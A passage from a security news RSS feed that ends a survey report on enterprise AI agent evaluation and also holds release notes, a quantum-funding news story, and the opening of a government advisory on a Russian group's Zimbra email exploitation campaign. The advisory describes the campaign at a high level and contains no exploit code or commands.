faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.50.2]]></title>
<description><![CDATA[23.50.2 - 2026-07-23
Bug Fixes

reported issues in openvas scanner (#2277) 3fcea4ca]]></description>
<link>https://tsecurity.de/de/3689681/downloads/v23502/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689681/downloads/v23502/</guid>
<pubDate>Thu, 23 Jul 2026 18:33:57 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.50.1...v23.50.2">23.50.2</a> - 2026-07-23</h2>
<h2>Bug Fixes</h2>
<ul>
<li>reported issues in openvas scanner (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857809229" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2277" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2277/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2277">#2277</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/3fcea4ca">3fcea4ca</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.3]]></title>
<description><![CDATA[agent: import skills from coding agents (#17294)]]></description>
<link>https://tsecurity.de/de/3689527/downloads/v0323/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689527/downloads/v0323/</guid>
<pubDate>Thu, 23 Jul 2026 17:47:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>agent: import skills from coding agents (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943546999" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/17294" data-hovercard-type="pull_request" data-hovercard-url="/ollama/ollama/pull/17294/hovercard" href="https://github.com/ollama/ollama/pull/17294">#17294</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Federal quantum bet grows with DARPA’s $125 million PsiQuantum award]]></title>
<description><![CDATA[Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to ac...]]></description>
<link>https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</guid>
<pubDate>Thu, 23 Jul 2026 17:13:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Defense research agency DARPA made its largest quantum computing award ever this week, with a <a href="https://www.psiquantum.com/news-import/psiquantum-signs-125-million-agreement-with-darpa">$125 million agreement</a> announced on Wednesday. The same day, the White House announced an <a href="https://www.whitehouse.gov/releases/2026/07/45502/">additional $5 billion for the Genesis Mission</a>, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.</p>



<p class="wp-block-paragraph">“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says <a href="https://www.linkedin.com/in/heather-c-west-ph-d-52075667/">Heather West</a>, research manager in the infrastructure systems, platforms, and technology group at IDC.</p>



<p class="wp-block-paragraph">None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.</p>



<p class="wp-block-paragraph">“The US government has been signaling that quantum computing is a priority,” says <a href="https://www.linkedin.com/in/davidmooter/">David Mooter</a>, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.</p>



<p class="wp-block-paragraph">“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. </p>



<p class="wp-block-paragraph">Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”</p>



<h2 class="wp-block-heading">DARPA’s Quantum Benchmarking Initiative</h2>



<p class="wp-block-paragraph">DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for <a href="https://www.darpa.mil/news/2025/companies-targeting-quantum-computers">Stage A of the project</a>, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.</p>



<p class="wp-block-paragraph">Then, in November of 2025, DARPA chose 11 companies for <a href="https://www.darpa.mil/research/programs/quantum-benchmarking-initiative/stage-b-selection">Stage B of the project</a>, with awards of up to $15 million for developing their research plans.</p>



<p class="wp-block-paragraph">To date, only two companies have been chosen for <a href="https://www.darpa.mil/news/2025/quantum-computing-approaches">Stage C</a>: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, <a href="https://www.darpa.mil/sites/default/files/attachment/2025-09/darpa-mto-spark-tank-qbi.pdf">according to DARPA</a>.</p>



<p class="wp-block-paragraph">This past May, <a href="https://www.psiquantum.com/news-import/us-department-of-commerce">PsiQuantum also announced $100 million</a> from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.</p>



<p class="wp-block-paragraph">Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.</p>



<h2 class="wp-block-heading">Genesis Mission</h2>



<p class="wp-block-paragraph">Genesis Mission was <a href="https://www.whitehouse.gov/presidential-actions/2025/11/launching-the-genesis-mission/">launched</a> in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.</p>



<p class="wp-block-paragraph">As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced <a href="https://infleqtion.com/infleqtion-secures-three-genesis-mission-projects-from-u-s-department-of-energy/">three projects for the Department of Energy</a> on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.</p>



<p class="wp-block-paragraph">This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.</p>



<p class="wp-block-paragraph">Other quantum-related Genesis Mission projects announced this week include $1.5 million for a <a href="https://www.bluequbit.io/blog/bluequbit-and-partners-awarded-1-5m-in-doe-genesis-mission-grants-to-advance-ai-driven-quantum-error-correction">BlueQubit quantum error correction project</a> with Microsoft and other partners, a <a href="https://news.stanford.edu/stories/2026/07/stanford-and-slac-to-lead-genesis-mission-projects-that-tackle-the-nation-s-most-complex-science-and-technology-challenges">Stanford effort</a> to model the behavior of electrons at quantum scale, an <a href="https://news.mit.edu/2026/mit-projects-selected-funding-under-doe-genesis-mission-0723">MIT quantum sensing project</a>, Argonne National Laboratory <a href="https://www.anl.gov/article/argonne-to-lead-ai-research-projects-under-the-department-of-energys-genesis-mission">projects</a> on quantum circuit design and quantum sensors, Brookhaven Lab <a href="https://www.bnl.gov/newsroom/news.php?a=123041">quantum sensor projects</a>, and quantum computing <a href="https://news.northwestern.edu/stories/2026/07/northwestern-projects-receive-genesis-mission-funding">projects</a> at Northwestern University.</p>



<p class="wp-block-paragraph">IBM, one of three dozen private companies that are part of the <a href="https://www.genesismissionconsortium.org/our-members#private-sector">Genesis Mission Consortium</a>, announced that it will be leading a <a href="https://research.ibm.com/blog/ibm-us-genesis-mission-quantum-ai">project</a> to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.</p>



<h2 class="wp-block-heading">Enterprise priorities</h2>



<p class="wp-block-paragraph">This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.</p>



<p class="wp-block-paragraph">But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4158139/fixing-encryption-isnt-enough-quantum-developments-put-focus-on-authentication.html">The point of no return is closer than ever</a>, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks/">federal deadline</a> for naming their post-quantum cryptography migration leads under a June executive order.</p>



<p class="wp-block-paragraph">“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.</p>



<p class="wp-block-paragraph">However, according to a survey <a href="https://www.digicert.com/news/quantum-security-deployment-remains-stuck">released by DigiCert this morning</a>, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models
The post Most...]]></description>
<link>https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/</guid>
<pubDate>Thu, 23 Jul 2026 17:06:24 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models</p>
<p>The post <a href="https://towardsdatascience.com/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/">Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
